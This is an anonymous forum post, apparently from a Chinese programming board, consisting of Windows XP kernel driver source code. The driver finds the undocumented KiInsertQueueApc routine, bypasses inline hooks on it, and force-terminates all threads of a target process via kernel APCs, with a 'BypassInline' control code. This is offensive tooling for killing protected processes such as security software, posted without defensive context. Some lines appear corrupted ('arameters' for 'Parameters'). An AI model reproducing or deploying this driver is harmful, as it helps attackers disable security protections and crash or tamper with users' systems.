|
匿名
发表于 2023-6-3 21:47:11
|阅读模式
```
#include <NTDDK.H>
#include "passinline.h"
#include "irql.h"
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath);
NTSTATUS DispatchCreateClose(IN PDEVICE_OBJECT pDevObj,IN PIRP pIrp);
NTSTATUS DispatchIoctl(IN PDEVICE_OBJECT pDevObj,IN PIRP pIrp);
VOID UnloadDriver(IN PDRIVER_OBJECT DriverObject );
typedef struct _KAPC_STATE
{
LIST_ENTRY ApcListHead[2];
PVOID Process;
BOOLEAN KernelApcInProgress;
BOOLEAN KernelApcPending;
BOOLEAN UserApcPending;
}KAPC_STATE, *PKAPC_STATE;
typedef enum _KAPC_ENVIRONMENT
{
OriginalApcEnvironment,
AttachedApcEnvironment,
CurrentApcEnvironment,
InsertApcEnvironment
}KAPC_ENVIRONMENT;
NTKERNELAPI
VOID
KeInitializeApc (
IN PRKAPC Apc,
IN PKTHREAD Thread,
IN KAPC_ENVIRONMENT Environment,
IN PKKERNEL_ROUTINE KernelRoutine,
IN PKRUNDOWN_ROUTINE RundownRoutine OPTIONAL,
IN PKNORMAL_ROUTINE NormalRoutine OPTIONAL,
IN KPROCESSOR_MODE ApcMode,
IN PVOID NormalContext
);
NTKERNELAPI
VOID
KeTerminateThread(
KPRIORITY Increment);
typedef BOOLEAN (__stdcall *KEINSERTQUEUEAPC)
(
PKAPC Apc,
PVOID SystemArgument1,
PVOID SystemArgument2,
KPRIORITY Increment
);
KEINSERTQUEUEAPC MsInsertQueueApc;
typedef VOID (__fastcall *KIINSERTQUEUEAPC)
(
PKAPC Apc,
KPRIORITY Increment
);
KIINSERTQUEUEAPC KiInsertQueueApc;
ULONG KillProc;
ULONG KiAddr;
BYTE KiInsertQueueApc_orig_code[20] = { 0x00 };
//常量声明:XP下KTHREAD结构的一些偏移
const ULONG ThreadListEntryOffset=0x22c;
const ULONG ThreadListHeadOffset=0x190;
//作用:得到导出函数地址
ULONG GetFunctionAddr(IN PCWSTR FunctionName)
{
UNICODE_STRING UniCodeFunctionName;
RtlInitUnicodeString( &UniCodeFunctionName, FunctionName );
return (ULONG)MmGetSystemRoutineAddress( &UniCodeFunctionName );
}
//得到KiInsertQueueApc的地址
ULONG GetKiInsertQueueApc()
{
UCHAR *cPtr, *pOpcode;
ULONG Length, CallCount=1, ETAddr=0;
ULONG AddressOf_KeInsertQueueApc,AddressOf_KiInsertQueueApc=0;
//Get KeInsertQueueApc Address
AddressOf_KeInsertQueueApc=GetFunctionAddr(L"KeInsertQueueApc");
//Get KiInsertQueueApc Address
for (cPtr = (PUCHAR)AddressOf_KeInsertQueueApc; cPtr < (PUCHAR)AddressOf_KeInsertQueueApc + PAGE_SIZE; cPtr += Length)
{
Length = SizeOfCode(cPtr, &pOpcode);
if (!Length) return ETAddr;
if (*pOpcode == 0xE8)
{
CallCount++;
if (CallCount==3) //XP: The Third e8 is KiInsertQueueApc
{
AddressOf_KiInsertQueueApc=(*(PULONG)(pOpcode+1)+(ULONG)cPtr + 5);
DbgPrint("KiInsertQueueApc Address = %X",AddressOf_KiInsertQueueApc);
break;
}
}
}
ETAddr=AddressOf_KiInsertQueueApc;
return ETAddr;
}
VOID XPRestoreKiInsertQueueApc()
{
PUCHAR addr;
ULONG uladdr;
KIRQL oldIrql;
uladdr = GetKiInsertQueueApc();
if (uladdr!=0)
{
addr = (PUCHAR)uladdr;
//获得KiInsertQueueApc的前12字节
GetOldCode(uladdr,12,KiInsertQueueApc_orig_code);
//判断得到了字节没有
if( KiInsertQueueApc_orig_code[0]==0x8B && KiInsertQueueApc_orig_code[1]==0xFF )
{
//禁止系统写保护,提升IRQL到DPC,然后恢复KiInsertQueueApc的Inline Hook
WPOFF();
oldIrql = KeRaiseIrqlToDpcLevel();
//恢复KeInsertQueueApc的前12字节
RtlCopyMemory ( (BYTE*)addr, KiInsertQueueApc_orig_code, 12 );
KeLowerIrql(oldIrql);
WPON();
DbgPrint("XP RestoreKiInsertQueueApc Success!\n");
}
else
{
DbgPrint("XP RestoreKiInsertQueueApc Failed: Can not get KiInsertQueueApc bytes\n");
}
}
else
{
DbgPrint("XP RestoreKiInsertQueueApc Failed: Can not get KiInsertQueueApc Address\n");
}
}
//作用:内核APC例程
VOID ApcCallBack(PKAPC Apc,PKNORMAL_ROUTINE *NormalRoutine,PVOID *NormalContext,PVOID *SystemArgument1,PVOID *SystemArgument2)
{
NTSTATUS st;
ExFreePool(Apc);
st=PsTerminateSystemThread(STATUS_SUCCESS);
if(!NT_SUCCESS(st)) KeTerminateThread(0);
}
//作用:结束线程
NTSTATUS TerminateThread(IN PETHREAD Thread)
{
NTSTATUS st = STATUS_UNSUCCESSFUL;
ULONG Size = 0;
ULONG i = 0;
PKAPC pApc = 0;
ULONG EToffSET=0x248;
if ( MmIsAddressValid((PVOID)Thread) == TRUE)
{
pApc = ExAllocatePool(NonPagedPool, sizeof(KAPC));
//Fix Thread Type To SYSTEM THREAD
*(PULONG)((ULONG)Thread+EToffSET)=0x10; //XP=0x248, 2K3=0x240, VISTA+2k8=0x260, Win7=0x280
//If APC is OK
if (pApc)
{
KeInitializeApc(pApc, (PKTHREAD)Thread, OriginalApcEnvironment, ApcCallBack, 0, 0, KernelMode, 0);
//MsInsertQueueApc(pApc, NULL, NULL, 0);
//Test Use KiInsertQueueApc
pApc->SystemArgument1=NULL;
pApc->SystemArgument2=NULL;
pApc->Inserted = FALSE;
//KiInsertQueueApc=(KIINSERTQUEUEAPC)GetKiInsertQueueApc();
//KiInsertQueueApc(pApc,0);
KiInsertQueueApc(pApc,0);
DbgPrint("KiInsertQueueApc Over!");
}
st = STATUS_SUCCESS;
}
return st;
}
PETHREAD GetNextProcessThread(IN PEPROCESS Process,IN PETHREAD Thread OPTIONAL)
{
PETHREAD FoundThread = NULL;
PLIST_ENTRY ListHead, Entry;
PAGED_CODE();
if (Thread)
{
Entry = (PLIST_ENTRY)((ULONG)(Thread) + ThreadListEntryOffset);//+0x22c ThreadListEntry : _LIST_ENTRY
Entry=Entry->Flink;
}
else
{
Entry = (PLIST_ENTRY)((ULONG)(Process) + ThreadListHeadOffset);//+0x190 ThreadListHead : _LIST_ENTRY
Entry = Entry->Flink;
}
ListHead = (PLIST_ENTRY)((ULONG)Process + ThreadListHeadOffset);
while (ListHead != Entry)
{
FoundThread = (PETHREAD)((ULONG)Entry - ThreadListEntryOffset);
if (ObReferenceObject(FoundThread)) break;
FoundThread = NULL;
Entry = Entry->Flink;
}
if (Thread) ObDereferenceObject(Thread);
return FoundThread;
}
NTSTATUS TerminateProcess(PEPROCESS Process)
{
NTSTATUS Status;
PETHREAD Thread;
Status = STATUS_SUCCESS;
KiAddr=GetKiInsertQueueApc();
if(KiAddr!=0)
{
KiInsertQueueApc=ExAllocatePool( NonPagedPool, 20 );//分配20字节
memset(KiInsertQueueApc,0x90,20);//NOP
GetOldCode(KiAddr,12,(PBYTE)KiInsertQueueApc);
}
else
{
DbgPrint("Can not get KiInsertQueueApc!");
return STATUS_UNSUCCESSFUL;
}
__try
{
for (Thread=GetNextProcessThread(Process,NULL); Thread!=NULL; Thread=GetNextProcessThread(Process,Thread))
{
TerminateThread(Thread);
DbgPrint("Thread Terminated: %x",(ULONG)Thread);
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
}
return Status;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{
UNICODE_STRING uniDeviceName;
UNICODE_STRING uniSymLink;
NTSTATUS ntStatus;
PDEVICE_OBJECT deviceObject = NULL;
RtlInitUnicodeString(&uniDeviceName, NT_DEVICE_NAME);
RtlInitUnicodeString(&uniSymLink, DOS_DEVICE_NAME);
DriverObject->MajorFunction[IRP_MJ_CREATE] =
DriverObject->MajorFunction[IRP_MJ_CLOSE] = DispatchCreateClose;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIoctl;
DriverObject->DriverUnload = UnloadDriver;
ntStatus = IoCreateDevice(DriverObject, 0,&uniDeviceName,FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE,&deviceObject);
if (!NT_SUCCESS(ntStatus)) return ntStatus;
ntStatus = IoCreateSymbolicLink(&uniSymLink, &uniDeviceName);
if (!NT_SUCCESS(ntStatus))
{
IoDeleteDevice(deviceObject);
return ntStatus;
}
DbgPrint("driver loaded!\n");
return STATUS_SUCCESS;
}
NTSTATUS DispatchCreateClose(IN PDEVICE_OBJECT pDevObj, IN PIRP pIrp)
{
pIrp->IoStatus.Information = 0;
pIrp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS DispatchIoctl(IN PDEVICE_OBJECT pDevObj,IN PIRP pIrp)
{
NTSTATUS ntStatus = STATUS_INVALID_DEVICE_REQUEST;//STATUS_UNSUCCESSFUL;//
PIO_STACK_LOCATION pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
ULONG uIoControlCode = pIrpStack->arameters.DeviceIoControl.IoControlCode;
ULONG inBufLength = pIrpStack->arameters.DeviceIoControl.InputBufferLength;
ULONG outBufLength =pIrpStack->arameters.DeviceIoControl.OutputBufferLength;
PVOID OutputBuffer = pIrp->UserBuffer;
PVOID InputBuffer = pIrp->AssociatedIrp.SystemBuffer;
ULONG Ki;
switch(uIoControlCode)
{
case IOCTL_BypassInline:
{
/*MsInsertQueueApc=ExAllocatePool( NonPagedPool, 20 );//分配20字节
memset(MsInsertQueueApc,0x90,20);//NOP
GetOldCode(GetFunctionAddr(L"KeInsertQueueApc"),10,(PBYTE)MsInsertQueueApc);*/
/*GetOldCode(GetKiInsertQueueApc(),12,KiInsertQueueApc_orig_code);
for(Ki=0;Ki<12;Ki++)
DbgPrint("KiInsertQueueApc[%d]=%x",Ki,KiInsertQueueApc_orig_code[Ki]);*/
break;
}
case IOCTL_KillProcByEP:
{
memcpy(&KillProc,InputBuffer,sizeof(ULONG));
//XPRestoreKiInsertQueueApc();
TerminateProcess((PEPROCESS)KillProc);
break;
}
}
pIrp->IoStatus.Status = ntStatus;
//pIrp->IoStatus.Information = outBufLength;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return ntStatus;
}
VOID UnloadDriver( IN PDRIVER_OBJECT DriverObject )
{
PDEVICE_OBJECT deviceObject = DriverObject->DeviceObject;
UNICODE_STRING uniSymLink;
RtlInitUnicodeString(&uniSymLink, DOS_DEVICE_NAME);
if (MsInsertQueueApc) ExFreePool(MsInsertQueueApc);
DbgPrint("driver unloaded.\n");
IoDeleteSymbolicLink(&uniSymLink);
IoDeleteDevice(deviceObject);
}
```
|
|